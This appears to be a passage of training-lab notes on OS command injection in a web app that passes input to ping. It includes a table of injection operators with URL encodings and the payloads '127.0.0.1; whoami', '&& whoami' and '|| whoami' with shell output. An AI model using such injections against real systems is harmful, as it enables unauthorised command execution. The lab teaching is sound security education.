Exploitation
Detection

We can try entering the localhost IP 127.0.0.1
to check the functionality, and as expected, it returns the output of the ping
command telling us that the localhost is indeed alive.
Although we do not have access to the source code of the web application, we can confidently guess that the IP we entered is going into a ping
command since the output we receive suggests that. As the result shows a single packet transmitted in the ping command, the command used may be as follows:
ping -c 1 OUR_INPUT
So, let us try to see if the web application is vulnerable to OS command injection.
Command Injection Methods
Injection Operator
Injection Character
URL-Encoded Character
Executed Command
Semicolon
;
%3b
Both
New Line
\n
%0a
Both
Background
&
%26
Both (second output generally shown first)
Pipe
|
%7c
Both (only second output is shown)
AND
&&
%26%26
Both (only if first succeeds)
OR
||
%7c%7c
Second (only if first fails)
Sub-Shell
``
%60%60
Both (Linux-only)
Sub-Shell
$()
%24%28%29
Both (Linux-only)
Note: The only exception may be the semi-colon
;
, which will not work if the command was being executed withWindows Command Line (CMD)
, but would still work if it was being executed withWindows PowerShell
.
Injecting Commands
We can add a semi-colon after our input IP 127.0.0.1
, and then append our command (e.g. whoami
), such that the final payload we will use is (127.0.0.1; whoami
), and the final command to be executed would be:
ping -c 1 127.0.0.1; whoami
eldeim@htb[/htb]$ ping -c 1 127.0.0.1; whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d

Bypassing Front-End Validation


As we can see, the response we got this time contains the output of the ping
command and the result of the whoami
command, meaning that we successfully injected our new command
Other Injection Operators
AND Operator
We can start with the AND
(&&
) operator, such that our final payload would be (127.0.0.1 && whoami
), and the final executed command would be the following:
ping -c 1 127.0.0.1 && whoami
21y4d@htb[/htb]$ ping -c 1 127.0.0.1 && whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d

OR Operator
The OR
operator only executes the second command if the first command fails to execute.
If we try to use our usual payload with the ||
operator (127.0.0.1 || whoami
), we will see that only the first command would execute:
21y4d@htb[/htb]$ ping -c 1 127.0.0.1 || whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.635/0.635/0.635/0.000 ms
Let us try to intentionally break the first command by not supplying an IP and directly using the ||
operator (|| whoami
), such that the ping
command would fail and our injected command gets executed:
21y4d@htb[/htb]$ ping -c 1 || whoami
ping: usage error: Destination address required
21y4d

Last updated